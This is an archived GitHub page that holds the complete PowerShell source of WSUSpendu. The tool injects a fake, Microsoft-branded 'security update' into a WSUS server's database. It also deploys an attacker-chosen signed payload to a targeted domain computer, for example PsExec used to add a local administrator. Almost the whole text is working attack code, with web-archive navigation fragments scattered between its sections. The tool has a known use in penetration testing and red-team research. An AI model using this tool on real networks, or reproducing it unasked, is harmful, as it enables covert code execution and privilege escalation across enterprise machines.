

We're continuing to fight for universal access to quality information—and you can help as we continue to make improvements. Will you join in?

https://github.com/AlsidOfficial/WSUSpendu/blob/master/WSUSpendu.ps1 Go APR MAY 12 JAN 2020 2022 About this capture

4 captures
12 May 2021 - 5 Dec 2022

Sign up

AlsidOfficial / WSUSpendu

Notifications Star 192 Fork 43

Code Issues Pull requests Actions Projects Wiki Security Insights

master WSUSpendu / WSUSpendu.ps1 Go to file

829 lines (711 sloc) 28.9 KB Raw Blame

```
1 <#
2 .SYNOPSIS
3     Inject an newly created update in WSUS Server, executing an arbitrary command on targeted WSUS cl
4
5 .DESCRIPTION
6     This script injects a payload in WSUS server in order to be executed on a targeted computer.
7     Execution policy needs to be configured to execute foreign script:
8     Set-ExecutionPolicy -ExecutionPolicy unrestricted (or bypass)
9
10 .NOTES
11     Authors: Yves Le Provost (yves.le-provost@ssi.gouv.fr) & Romain Coltel (romain.coltel@alsid.com)
12
13     TODO:
14     * Remote PowerShell: upload the PayloadFile
15
16 .PARAMETER PayloadFile
17     File to be executed on the target. It MUST be signed (using Authenticode) by Microsoft or a trust
18
19 .PARAMETER PayloadArgs
```

20 Arguments to pass to the payload file.

21

22 .PARAMETER ComputerName

23 This argument is the name of the target. The DNS fully qualified name is required.

4 captures

12 May 2021 - 5 Dec 2022

APR

MAY

JAN

12

2021

2022

About this capture

25 .EXAMPLE

26 Wsuspendu.ps1 -Inject -PayloadFile psexec.exe -PayloadArgs '-accepteula -s -d cmd.exe /c "net use

27 This will inject a new update executing PsExec.exe to add a new local administrator named Tit

28

29 .EXAMPLE

30 Wsuspendu.ps1 -Inject -PayloadFile psexec.exe -PayloadArgs '-accepteula -s -d cmd.exe /c "net use

31 This will inject a new update executing PsExec.exe to add a new local administrator named Tit

32 #>

33

34 [CmdletBinding(DefaultParameterSetName = 'injectcase')]

35 Param(

36 [Parameter (Mandatory = \$False, ParameterSetName = 'injectcase')]

37 [Parameter (Mandatory = \$True, ParameterSetName = 'addcase')]

38 [Parameter (Mandatory = \$True, ParameterSetName = 'removecase')]

39 [Parameter (Mandatory = \$True, ParameterSetName = 'checkcase')]

40 [string] \$ComputerName = 'OnDownstreamServer',

41

42 [Parameter (Mandatory = \$True, ParameterSetName = 'injectcase', Position = 0)]

43 [switch] \$Inject,

44

45 [Parameter (Mandatory = \$True, ParameterSetName = 'injectcase')]

46 [string] \$PayloadFile,

47

48 [Parameter (ParameterSetName = 'injectcase')]

49 [string] \$PayloadArgs,

50

51 [Parameter (Mandatory = \$True, ParameterSetName = 'cleancase', Position = 0)]

52 [switch] \$Clean,

53

54 [Parameter (Mandatory = \$True, ParameterSetName = 'cleancase')]

55 [Parameter (Mandatory = \$True, ParameterSetName = 'checkcase')]

56 [string] \$UpdateID,

57

58 [Parameter (Mandatory = \$True, ParameterSetName = 'addcase', Position = 0)]

59 [switch] \$Add,

60

61 [Parameter (Mandatory = \$True, ParameterSetName = 'removecase', Position = 0)]

62 [switch] \$Remove,

63

64 [Parameter (Mandatory = \$True, ParameterSetName = 'checkcase', Position = 0)]

```
65 [switch] $Check,
```

```
66
```

```
67 [switch] $Quiet = $False
```

```
68 )
```

4 captures

12 May 2021 - 5 Dec 2022

APR

MAY

JAN

2020

12

2021

2022

▼ About this capture

```
70 function Connection
```

```
71 {
```

```
72     $Conn = New-Object System.Data.SqlClient.SqlConnection
```

```
73     $Version = (Get-WmiObject Win32_OperatingSystem).Version
```

```
74     Write-Debug "OS Version : $Version"
```

```
75
```

```
76     # Note: for a value of 'MICROSOFT##WID', we contact the server with 'np:\\.\pipe\MICROSOFT##WID\ts
```

```
77
```

```
78     $SqlServerName = (Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Update S
```

```
79     $SqlDatabaseName = (Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Update
```

```
80
```

```
81     if ( ($SqlServerName -eq 'MICROSOFT##WID') -or ($SqlServerName -eq 'MSSQL$MICROSOFT##SSEE') )
```

```
82     {
```

```
83
```

```
84         if ($Version -lt 6.2.0)
```

```
85         {
```

```
86             # WID Win2008
```

```
87             $Conn.ConnectionString = 'Server=np:\\.\pipe\MSSQL$MICROSOFT##SSEE\sql\query;Database='+$Sql
```

```
88         }
```

```
89         else
```

```
90         {
```

```
91             # WID Win2012 and >
```

```
92             $Conn.ConnectionString = 'Server=np:\\.\pipe\MICROSOFT##WID\tsql\query;Database='+$SqlDataba
```

```
93         }
```

```
94     }
```

```
95     else
```

```
96     {
```

```
97         # SQL Server
```

```
98         $Conn.ConnectionString = 'Server=' + $SqlServerName + ';Database='+$SqlDatabaseName+';Trusted_C
```

```
99     }
```

```
100
```

```
101     try
```

```
102     {
```

```
103         $Conn.Open()
```

```
104     }
```

```
105     catch [System.Data.SqlClient.SqlException]
```

```
106     {
```

```
107         Write-Error "$_"
```

```
108         Exit 2
```

```
109     }
```

4 captures

12 May 2021 - 5 Dec 2022

APR

MAY

JAN

12

2021

2022

About this capture

```
110
111     return $Conn
112 }
113
114 function GetWSUSConfiguration
115 {
116     if ($g_WSUSConfiguration)
117     {
118         return $g_WSUSConfiguration
119     }
120
121     $g_SQLCmd.CommandText = "exec spConfiguration"
122
123     try
124     {
125         $Reader = $g_SQLCmd.ExecuteReader()
126     }
127     catch [System.Data.SqlClient.SqlException]
128     {
129         Write-Error "Error getting the configuration: $_"
130         Exit 2
131     }
132
133     if ($Reader.Read())
134     {
135         $RegUsingSSL = Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Update S
136         $ComputerName = $env:COMPUTERNAME
137         if ($env:USERDNSDOMAIN)
138         {
139             $ComputerName += '.' + $env:USERDNSDOMAIN
140         }
141
142         $g_WSUSConfiguration = New-Object -TypeName PSObject
143         $g_WSUSConfiguration | Add-Member -MemberType NoteProperty -Name LocalContentCacheLocation -Val
144         $g_WSUSConfiguration | Add-Member -MemberType NoteProperty -Name ServerPortNumber -Value $Reade
145         $g_WSUSConfiguration | Add-Member -MemberType NoteProperty -Name UsingSSL -Value $RegUsingSSL.U
146         $g_WSUSConfiguration | Add-Member -MemberType NoteProperty -Name FullComputerName -Value $Compu
147
148         $Reader.Close()
149     }
150     else
151     {
152         Write-Error "Cannot read WSUS configuration"
153         Exit 4
154     }
155 }
```

4 captures

12 May 2021 - 5 Dec 2022

APR

MAY

JAN

12

2021

2022

About this capture

```
155
156     return $g_WSUSConfiguration
157 }
158
159 function GetUpdateDirectory
160 {
161     $Configuration = GetWSUSConfiguration
162
163     $IISLocation = $Configuration.LocalContentCacheLocation
164     Write-Debug "IIS Folder: '$IISLocation'"
165
166     if ($IISLocation.Length -eq 0)
167     {
168         Write-Error "Error retrieving IIS location path"
169         Exit 3
170     }
171     return $IISLocation
172 }
173
174 function CopyFile([string] $FilePath, [string] $Destination)
175 {
176     try
177     {
178         Copy-Item -Path $FilePath -Destination ($Destination + '\wuagent.exe')
179     }
180     catch
181     {
182         Write-Error "Copy file in IIS path: $_"
183         Exit 4
184     }
185 }
186
187 function RemoveFile([string] $Directory)
188 {
189     Remove-Item -Path ($Directory + '\wuagent.exe')
190 }
191
192 function GetComputerTarget([string] $ComputerName)
193 {
194     $g_SQLCmd.CommandText = "exec spGetComputerTargetByName @fullDomainName = N'$ComputerName'"
195
196     try
197     {
198         $Reader = $g_SQLCmd.ExecuteReader()
199     }
```

```
200     catch [System.Data.SqlClient.SqlException]
201     {
```

```
202         Write-Error "$_"
203         Exit 2
```

[4 captures](#)

12 May 2021 - 5 Dec 2022

APR

MAY

JAN

2020

12

2021

2022

▼ About this capture

```
205
206     if ($Reader.Read())
207     {
208         $ComputerID = $Reader.GetValue($Reader.GetOrdinal('ComputerID'))
209     }
210     else
211     {
212         Write-Error "Computer $ComputerName cannot be found"
213         Exit 4
214     }
215
216     $Reader.Close()
217
218     if ($ComputerID.Length -eq 0)
219     {
220         Write-Error "Computer $ComputerName not found"
221         Exit 4
222     }
223
224     $g_SQLCmd.CommandText = "SELECT dbo.fnGetComputerTargetID('$ComputerID')"
225
```

```
226     try
227     {
228         $Reader = $g_SQLCmd.ExecuteReader()
229     }
230     catch [System.Data.SqlClient.SqlException]
231     {
232         Write-Error "$_"
233         Exit 2
234     }
235
```

```
236     if ($Reader.Read())
237     {
238         $ComputerTargetID = $Reader.GetValue(0)
239         Write-Debug "Computer target ID = '$ComputerTargetID'"
240     }
241     else
242     {
243         Write-Error "Internal WSUS database error: computer $ComputerName has ComputerID='$ComputerID',
244         Exit 4
```

4 captures

12 May 2021 - 5 Dec 2022

APR

MAY

JAN

12

2021

2022

About this capture

```
245     }
246
247     $Reader.Close()
248
249     return $ComputerTargetID
250 }
251
252 function GetGroupID([string] $GroupName)
253 {
254     $g_SQLCmd.CommandText = "exec spGetAllTargetGroups"
255
256     try
257     {
258         $Reader = $g_SQLCmd.ExecuteReader()
259     }
260     catch [System.Data.SqlClient.SqlException]
261     {
262         Write-Error "$_"
263         Exit 2
264     }
265
266     $TargetGroupID = $Null
267     while ($Reader.Read())
268     {
269         $TargetGroupName = $Reader.GetValue($Reader.GetOrdinal('Name'))
270         Write-Debug "Target group name = '$TargetGroupName'"
271
272         if ($TargetGroupName -eq $GroupName)
273         {
274             $TargetGroupID = $Reader.GetValue($Reader.GetOrdinal('TargetGroupID'))
275             Write-Debug "group ID = '$TargetGroupID'"
276             break;
277         }
278     }
279
280     $Reader.Close()
281
282     if (-not $TargetGroupID)
283     {
284         Write-Debug "Target group '$GroupName' has not been found"
285     }
286
287     return $TargetGroupID
288 }
289
```

```
290 function ImportUpdate([string] $UpdateGuid, [object] $OFile)
291 {
292     $Datatable = New-Object System.Data.DataTable
293     $g_SQLCmd.CommandText = '
294     declare @iImported int
295     declare @iLocalRevisionID int
296     exec spImportUpdate @UpdateXml=N''
297     <upd:Update xmlns:b="http://schemas.microsoft.com/msus/2002/12/LogicalApplicabilityRules" xmlns:pub="
298     <upd:UpdateIdentity UpdateID="' + $UpdateGuid + '" RevisionNumber="202" />
299     <upd:Properties DefaultPropertiesLanguage="en" UpdateType="Software" Handler="http://schemas.micro
300     <upd:InstallationBehavior RebootBehavior="CanRequestReboot" />
301     <upd:UninstallationBehavior RebootBehavior="CanRequestReboot" />
302     </upd:Properties>
303     <upd:LocalizedPropertiesCollection>
304     <upd:LocalizedProperties>
305     <upd:Language>en</upd:Language>
306     <upd:Title>Probably-legal-update</upd:Title>
307     </upd:LocalizedProperties>
308     </upd:LocalizedPropertiesCollection>
309     <upd:ApplicabilityRules>
310     <upd:IsInstalled><b:False /></upd:IsInstalled>
311     <upd:IsInstallable><b:True /></upd:IsInstallable>
312     </upd:ApplicabilityRules>
313     <upd:Files>
314     <upd:File Digest="' + $OFile.Digest.SHA1 + '" DigestAlgorithm="SHA1" FileName="' + $OFile.Name
315     <upd:AdditionalDigest Algorithm="SHA256">' + $OFile.Digest.SHA256 + '</upd:AdditionalDigest>
316     </upd:File>
317     </upd:Files>
318     <upd:HandlerSpecificData xsi:type="cmd:CommandLineInstallation" xmlns:xsi="http://www.w3.org/2001/
319     <cmd:InstallCommand Arguments="' + $OFile.Args + '" Program="' + $OFile.Name + '" RebootByDefau
320     <cmd:ReturnCode Reboot="false" Result="Succeeded" Code="0" />
321     </cmd:InstallCommand>
322     </upd:HandlerSpecificData>
323     </upd:Update>',@UpstreamServerLocalID=1,@Imported=@iImported output,@localRevisionID=@iLocalRevision
324     select @iImported,@iLocalRevisionID
325     '
326
327     try
328     {
329         $Reader = $g_SQLCmd.ExecuteReader()
330     }
331     catch [System.Data.SqlClient.SqlException]
332     {
333         Write-Error "Error when creating update: $_"
334         Exit 2
```

4 captures

12 May 2021 - 5 Dec 2022

APR

MAY

JAN

12

2021

2022

About this capture

4 captures

12 May 2021 - 5 Dec 2022

APR

MAY

JAN

12

2021

2022

About this capture

```
335     }
336
337     $Datatable.Load($Reader)
338     $Reader.Close()
339
340     return $Datatable.Rows[0].Column2
341 }
342
343 function PrepareXmlToClient([string] $UpdateGuid, [object] $OFile)
344 {
345     $g_SQLCmd.CommandText = "
346     exec spSaveXmlFragment '' + $UpdateGuid + ',202,1,N'<UpdateIdentity UpdateID="" + $UpdateGuid +
347
348     exec spSaveXmlFragment
349     '' + $UpdateGuid + ',202,4,N'<LocalizedProperties><Language>en</Language><Title
350
351     exec spSaveXmlFragment
352     '' + $UpdateGuid + ',202,2,N'<ExtendedProperties DefaultPropertiesLanguage=""en"" Handler=""http:
353     "
354
355     try
356     {
357         $Reader = $g_SQLCmd.ExecuteReader()
358     }
359     catch [System.Data.SqlClient.SqlException]
360     {
361         Write-Error "$_"
362         Exit 2
363     }
364     $Reader.Close()
365 }
366
367 function InjectUrl2Download([object] $OFile)
368 {
369     $Configuration = GetWSUSConfiguration
370
371     $muurl = 'http'
372     if ($Configuration.UsingSSL)
373     {
374         $muurl += 's'
375     }
376     $muurl += '://' + $Configuration.FullComputerName + ':' + $Configuration.ServerPortNumber + '/Cont
377
378     $g_SQLCmd.CommandText = 'exec spSetBatchURL @urlBatch =N''<ROOT><item FileDigest="" + $OFile.Diges
379
```

4 captures

12 May 2021 - 5 Dec 2022

APR

MAY

JAN

12

2021

2022

About this capture

```
380     try
381     {
382         $Reader = $g_SQLCmd.ExecuteReader()
383     }
384     catch [System.Data.SqlClient.SqlException]
385     {
386         Write-Error "$_"
387         Exit 2
388     }
389     $Reader.Close()
390 }
391
392 function DeploymentRevision([int] $LocalRevisionID)
393 {
394     $g_SQLCmd.CommandText = 'exec spDeploymentAutomation @revisionID=' + $LocalRevisionID
395     try
396     {
397         $Reader = $g_SQLCmd.ExecuteReader()
398     }
399     catch [System.Data.SqlClient.SqlException]
400     {
401         Write-Error "$_"
402         Exit 2
403     }
404     $Reader.Close()
405 }
406
407 function PrepareBundle([object] $OGuid)
408 {
409     $Datatable = New-Object System.Data.DataTable
410     $g_SQLCmd.CommandText = '
411 declare @iImported int
412 declare @iLocalRevisionID int
413 exec spImportUpdate @UpdateXml=N''
414 <upd:Update xmlns:pub="http://schemas.microsoft.com/msus/2002/12/Publishing" xmlns:upd="http://schema
415 <upd:UpdateIdentity UpdateID="' + $OGuid.Bundle + '" RevisionNumber="204" />
416 <upd:Properties DefaultPropertiesLanguage="en" UpdateType="Software" ExplicitlyDeployable="true" A
417 <upd:SupportUrl>http://ssi.gouv.fr</upd:SupportUrl>
418 <upd:SecurityBulletinID>MS42-007</upd:SecurityBulletinID>
419 <upd:KBArticleID>2862335</upd:KBArticleID>
420 </upd:Properties>
421 <upd:LocalizedPropertiesCollection>
422 <upd:LocalizedProperties>
423 <upd:Language>en</upd:Language>
424 <upd:Title>Bundle update for * Windows (from KB2862335)</upd:Title>
```

4 captures

12 May 2021 - 5 Dec 2022

APR

MAY

JAN

12

2021

2022

About this capture

```
425     <upd:Description>A security issue has been identified in a Microsoft software product that c
426     <upd:UninstallNotes>This software update can be removed by selecting View installed updates
427     <upd:MoreInfoUrl>http://alsid.eu</upd:MoreInfoUrl>
428     <upd:SupportUrl>http://ssi.gouv.fr</upd:SupportUrl>
429     </upd:LocalizedProperties>
430 </upd:LocalizedPropertiesCollection>
431 <upd:Relationships>
432     <upd:Prerequisites>
433         <upd:AtLeastOne IsCategory="true">
434             <upd:UpdateIdentity UpdateID="0fa1201d-4330-4fa8-8ae9-b877473b6441" />
435         </upd:AtLeastOne>
436     </upd:Prerequisites>
437     <upd:BundledUpdates>
438         <upd:UpdateIdentity UpdateID="" + $OGuid.Update + "" RevisionNumber="202" />
439     </upd:BundledUpdates>
440 </upd:Relationships>
441 </upd:Update>'',@UpstreamServerLocalID=1,@Imported=@iImported output,@localRevisionID=@iLocalRevision
442 select @iImported, @iLocalRevisionID'
443
444     try
445     {
446         $Reader = $g_SQLCmd.ExecuteReader()
447     }
448     catch [System.Data.SqlClient.SqlException]
449     {
450         Write-Error "Error when creating the Bundle update: $_"
451         Exit 2
452     }
453     $Datatable.Load($Reader)
454     $Reader.Close()
455
456     return $Datatable.Rows[0].Column2
457 }
458
459 function PrepareXmlBundleToClient([object] $OGuid)
460 {
461     $g_SQLCmd.CommandText = "
462     exec spSaveXmlFragment '' + $OGuid.Bundle + '',204,1,N'<UpdateIdentity UpdateID="" + $OGuid.Bundl
463
464     exec spSaveXmlFragment '' + $OGuid.Bundle + '',204,4,N'<LocalizedProperties><Language>en&
465
466     exec spSaveXmlFragment '' + $OGuid.Bundle + '',204,2,N'<ExtendedProperties DefaultPropertiesLangua
467     "
468
469     try
```

4 captures

12 May 2021 - 5 Dec 2022

APR

MAY

JAN

12

2021

2022

About this capture

```
470 {
471     $Reader = $g_SQLCmd.ExecuteReader()
472 }
473 catch [System.Data.SqlClient.SqlException]
474 {
475     Write-Error "$_"
476     Exit 2
477 }
478 $Reader.Close()
479 }
480
481 function CreateGroup([string] $GroupName, [string] $GroupID)
482 {
483     $g_SQLCmd.CommandText = "exec spCreateTargetGroup @name='" + $GroupName + "', @id='" + $GroupID +
484     try
485     {
486         $Reader = $g_SQLCmd.ExecuteReader()
487     }
488     catch [System.Data.SqlClient.SqlException]
489     {
490         Write-Error "Error when create TargetGroup $GroupName (GUID=$GroupID) : $_"
491         Exit 2
492     }
493     $Reader.Close()
494 }
495
496 function RemoveComputerFromGroup([string] $GroupID, [int] $ComputerTargetID)
497 {
498     $g_SQLCmd.CommandText = "exec spRemoveTargetFromTargetGroup @targetGroupID='" + $GroupID + "', @ta
499     try
500     {
501         $Reader = $g_SQLCmd.ExecuteReader()
502     }
503     catch [System.Data.SqlClient.SqlException]
504     {
505         Write-Error "Error when remove target $ComputerTargetID in target Group $($GroupID): $_"
506         Exit 2
507     }
508     $Reader.Close()
509 }
510
511 function AddComputerToGroup([string] $GroupID, [int] $ComputerTargetID)
512 {
513     <# Note:
514     We're not using spAddComputerToTargetGroupAllowMultipleGroups, because we don't want $Computer to
```

4 captures

12 May 2021 - 5 Dec 2022

APR

MAY

JAN

12

2021

2022

About this capture

```
515     from the Unassigned Computers group, if it's already in, by this procedure. Using spAddTargetToTar
516     ensures us this is not done, but needs the targetID, which is what our GetComputerTarget function
517     #>
518     $g_SQLCmd.CommandText = "exec spAddTargetToTargetGroup @targetGroupID=''"
519
520     try
521     {
522         $Reader = $g_SQLCmd.ExecuteReader()
523     }
524     catch [System.Data.SqlClient.SqlException]
525     {
526         Write-Error "Error when add target $ComputerTargetID in target Group $($GroupID): $_"
527         Exit 2
528     }
529     $Reader.Close()
530 }
531
532 function RemoveGroup([string] $GroupID)
533 {
534     $g_SQLCmd.CommandText="exec spDeleteTargetGroup @targetGroupID='" + $GroupID + "'";
535     try
536     {
537         $Reader = $g_SQLCmd.ExecuteReader()
538     }
539     catch [System.Data.SqlClient.SqlException]
540     {
541         Write-Error "Error when remove group $($GroupID): $_"
542         Exit 2
543     }
544     $Reader.Close()
545 }
546
547 function DeleteUpdate([string] $UpdateID)
548 {
549     $g_SQLCmd.CommandText = "exec spDeclineUpdate @updateID='" + $UpdateID + "'"
550     try
551     {
552         $Reader = $g_SQLCmd.ExecuteReader()
553     }
554     catch [System.Data.SqlClient.SqlException]
555     {
556         Write-Error "Error when decline update $($UpdateID): $_"
557         Exit 2
558     }
559     $Reader.Close()
```

4 captures

12 May 2021 - 5 Dec 2022

APR

MAY

JAN

12

2021

2022

About this capture

```
560
561     $g_SQLCmd.CommandText = "exec spDeleteUpdateByUpdateID @updateID='" + $UpdateID + "'"
562     try
563     {
564         $Reader = $g_SQLCmd.ExecuteReader()
565     }
566     catch [System.Data.SqlClient.SqlException]
567     {
568         Write-Error "Error when delete update $($UpdateID): $_"
569         Exit 2
570     }
571     $Reader.Close()
572 }
573
574 function ApproveUpdate ([string] $UpdateID, [string] $GroupID)
575 {
576
577     $g_SQLCmd.CommandText = "exec spDeployUpdate @updateID='" + $UpdateID + "',@revisionNumber=204,@ac
578     try
579     {
580         $Reader = $g_SQLCmd.ExecuteReader()
581     }
582     catch [System.Data.SqlClient.SqlException]
583     {
584         Write-Error "Error when deploy updateID $UpdateID for target group $($GroupID): $_"
585         Exit 2
586     }
587     $Reader.Close()
588 }
589
590 function GetFileHashInBase64([string] $FileName, [string] $Algo)
591 {
592     $hash = (Get-FileHash -path $FileName -Algorithm $Algo).Hash
593     $hashByteArray = $hash -split '(?<=\G.)(?=.)'
594     $hashHexArray = $hashByteArray | ForEach-Object { [byte]::Parse($_, 'HexNumber') }
595     [Convert]::ToBase64String(@($hashHexArray))
596 }
597
598 <# main #>
599
600 $global:g_WSUSConfiguration = $Null
601 $global:g_SQLCmd = New-Object System.Data.SqlClient.SqlCommand
602 $GroupName = 'InjectionGroup'
603 $g_SQLCmd.Connection = Connection
604
```

4 captures

12 May 2021 - 5 Dec 2022

APR

MAY

JAN

12

2021

2022

About this capture

```
605 if ($Inject)
606 {
607     Add-Type -AssemblyName System.web
608
609     if (-not (Test-Path $PayloadFile))
610     {
611         Write-Error "Cannot find '$PayloadFile', aborting."
612         Exit 4
613     }
614
615     $Guid = @{
616         Update = [guid]::NewGuid();
617         Bundle = [guid]::NewGuid();
618         TargetGroup = [guid]::NewGuid();
619     }
620
621     $File = @{ Name = [System.IO.Path]::GetFileName($PayloadFile);
622         Path = $PayloadFile;
623         Args = [system.web.httputility]::htmlencode([System.web.httputility]::htmlencode($PayloadFile));
624         Size = (Get-ChildItem $PayloadFile | Measure-Object -property Length -sum).Sum;
625         Digest = @{
626             SHA1 = GetFileHashInBase64 -FileName $PayloadFile -Algo 'SHA1'
627             SHA256 = GetFileHashInBase64 -FileName $PayloadFile -Algo 'SHA256'
628         }
629     }
630
631     $Dir = GetUpdateDirectory
632     CopyFile -FilePath $File.Path -Destination $Dir
633
634     if ($ComputerName -ne 'OnDownstreamServer')
635     {
636         $TargetID = GetComputerTarget -ComputerName $ComputerName
637         $TargetGroupID = GetGroupID -GroupName $GroupName
638
639         if ($TargetGroupID)
640         {
641             $IsGroupExist = $True
642             $Guid.TargetGroup = $TargetGroupID
643         }
644         else
645         {
646             $IsGroupExist = $False
647         }
648     }
649
650     $LocalRevisionID = ImportUpdate -UpdateGuid $Guid.Update -OFile $File
```

4 captures

12 May 2021 - 5 Dec 2022

APR

MAY

JAN

12

2020

2021

2022

About this capture

```
650
651 Write-Verbose "Update's local revision ID: $LocalRevisionID"
652
653 if ($LocalRevisionID -eq 0)
654 {
655     Write-Error "Error when importing update: no update was created"
656     Exit 3
657 }
658
659 Write-Verbose "Injected Update's GUID: $($Guid.Update)"
660
661 PrepareXmlToClient -UpdateGuid $Guid.Update -OFile $File
662 InjectUrl2Download -OFile $File
663 DeploymentRevision -LocalRevisionID $LocalRevisionID
664
665 $LocalRevisionID = PrepareBundle -OGuid $Guid
666 Write-Verbose "Bundle's local revision ID: $LocalRevisionID"
667
668 if ($LocalRevisionID -eq 0)
669 {
670     Write-Error "Error when importing Bundle: no update was created"
671     Exit 3
672 }
673 Write-Verbose "Injected bundle's GUID: $($Guid.Bundle)"
674
675 PrepareXmlBundleToClient -OGuid $Guid
676 DeploymentRevision -LocalRevisionID $LocalRevisionID
677
678 if ($ComputerName -ne 'OnDownstreamServer')
679 {
680     if ($IsGroupExist)
681     {
682         Write-Verbose "Group $GroupName already created"
683     }
684     else
685     {
686         CreateGroup -GroupName $GroupName -GroupID $Guid.TargetGroup
687         Write-Verbose "Group '$GroupName' created. GUID: $($Guid.TargetGroup)"
688     }
689
690     AddComputerToGroup -GroupID $Guid.TargetGroup -ComputerTargetID $TargetID
691     Write-Verbose "Computer $ComputerName (targetID $TargetID) added in target group $($Guid.TargetGroup)"
692
693     ApproveUpdate -UpdateID $Guid.Bundle -GroupID $Guid.TargetGroup
694 }
```


4 captures

12 May 2021 - 5 Dec 2022

APR

MAY

JAN

12

2021

2022

About this capture

```
695     Write-Verbose "Update $($Guid.Bundle) deployed for target group $($Guid.TargetGroup)"
696 }
697 else
698 {
699     Write-Verbose "Not adding any computer target to any group: we assume it's already added"
700 }
701
702 Write-Output "Everything seems ok. Wait for the client to take the update now..."
703 Write-Output "To clean the injection, execute the following command:"
704 Write-Output ".\Wsuspendu.ps1 -Clean -UpdateID $($Guid.Bundle)"
705 if ($ComputerName -ne 'OnDownstreamServer')
706 {
707     Write-Output "To check the update status, execute the following command:"
708     Write-Output ".\Wsuspendu.ps1 -check -UpdateID $($Guid.Bundle) -ComputerName $($ComputerName)"
709 }
710 else
711 {
712     Write-Output "To check the update status for a specific computer, execute the following command:"
713     Write-Output ".\Wsuspendu.ps1 -check -UpdateID $($Guid.Bundle) -ComputerName [Computer name]"
714 }
715 Write-Host -ForegroundColor Green "Done"
716 }
717
718 if ($Add)
719 {
720     $TargetGroupID = GetGroupID -GroupName $GroupName
721     if (-not $TargetGroupID)
722     {
723         Write-Error "You can't add a computer if the injection group '$GroupName' doesn't exist"
724         Exit 4
725     }
726
727     $ComputerID = GetComputerTarget -ComputerName $ComputerName
728     AddComputerToGroup -GroupID $TargetGroupID -ComputerTargetID $ComputerID
729     Write-Host -ForegroundColor Green "Done"
730 }
731
732 if ($Remove)
733 {
734     $TargetGroupID = GetGroupID -GroupName $GroupName
735     if (-not $TargetGroupID)
736     {
737         Write-Error "You can't remove a computer of an injection group ('$GroupName') that doesn't exist"
738         Exit 4
739     }
740 }
```

4 captures

12 May 2021 - 5 Dec 2022

APR MAY JAN
12
2020 2021 2022

▼ About this capture

```
740
741 $ComputerID = GetComputerTarget -ComputerName $ComputerName
742 RemoveComputerFromGroup -GroupID $TargetGroupID -ComputerTargetID $ComputerID
743 Write-Host -ForegroundColor Green "Done"
744
745
746 if ($Clean)
747 {
748     $TargetGroupID = GetGroupID -GroupName $GroupName
749     if ($TargetGroupID)
750     {
751         # Just in case one would want to apply the update on a different group name
752         $DefaultGroupIDs = @( 'B73CA6ED-5727-47F3-84DE-015E03F6A88A', # Unassigned Computers
753                               'D374F42A-9BE2-4163-A0FA-3C86A401B7A7', # Downstream servers
754                               'A0A08746-4DBE-4A37-9ADF-9E7652C0B421') # All Computers
755         if ($DefaultGroupIDs -contains $TargetGroupID)
756         {
757             Write-Verbose "Cannot delete a default group (this will most probably break the WSUS install"
758         }
759         else
760         {
761             RemoveGroup -GroupID $TargetGroupID
762         }
763     }
764
765     DeleteUpdate -UpdateID $UpdateID
766     $Dir = GetUpdateDirectory
767     RemoveFile -Directory $Dir
768     Write-Host -ForegroundColor Green "Done"
769 }
770
771 if($Check)
772 {
773     $TargetID = GetComputerTarget -ComputerName $ComputerName
774
775
776     $g_SQLCmd.CommandText = "SELECT LocalUpdateID FROM dbo.tbUpdate WHERE UpdateID = '$UpdateID'"
777     try
778     {
779         $Reader = $g_SQLCmd.ExecuteReader()
780     }
781     catch [System.Data.SqlClient.SqlException]
782     {
783         Write-Error "$_"
784         Exit 2
785     }
786 }
```

4 captures

12 May 2021 - 5 Dec 2022

APR

MAY

JAN

12

2021

2022

About this capture

```
785     }
786
787     if ($Reader.Read())
788     {
789         $LocalUpdateID = $Reader.GetValue($Reader.GetOrdinal('LocalUpdateID'))
790     }
791     else
792     {
793         Write-Error "UpdateID $UpdateID cannot be found"
794         Exit 4
795     }
796     $Reader.Close()
797
798     $g_SQLCmd.CommandText = "SELECT SummarizationState FROM dbo.tbUpdateStatusPerComputer WHERE LocalU
799     try
800     {
801         $Reader = $g_SQLCmd.ExecuteReader()
802     }
803     catch [System.Data.SqlClient.SqlException]
804     {
805         Write-Error "$_"
806         Exit 2
807     }
808
809     if ($Reader.Read())
810     {
811         $SummarizationState = $Reader.GetValue($Reader.GetOrdinal('SummarizationState'))
812         switch ($SummarizationState)
813         {
814             2 { Write-Host '> Update is not installed'; break }
815             3 { Write-Host '> Update is downloaded'; break }
816             4 { Write-Host '> Update is installed'; break }
817             5 { Write-Host '> Update failed'; break }
818             default { Write-Host "x Unknown state: $SummarizationState" }
819         }
820     }
821     else
822     {
823         Write-Host -ForegroundColor Red "Update Info cannot be found"
824         Exit 4
825     }
826     $Reader.Close()
827 }
828
829 $g_SQLCmd.Connection.Close()
```

4 captures

12 May 2021 - 5 Dec 2022

© 2021 GitHub, Inc.

Terms

Privacy

Security

Status

Docs

APR

2020

Contact GitHub

Pricing

API

Training

Blog

About

MAY

12

2021

JAN

▶

2022

▼ About this capture

👤

?

✕

f

🐦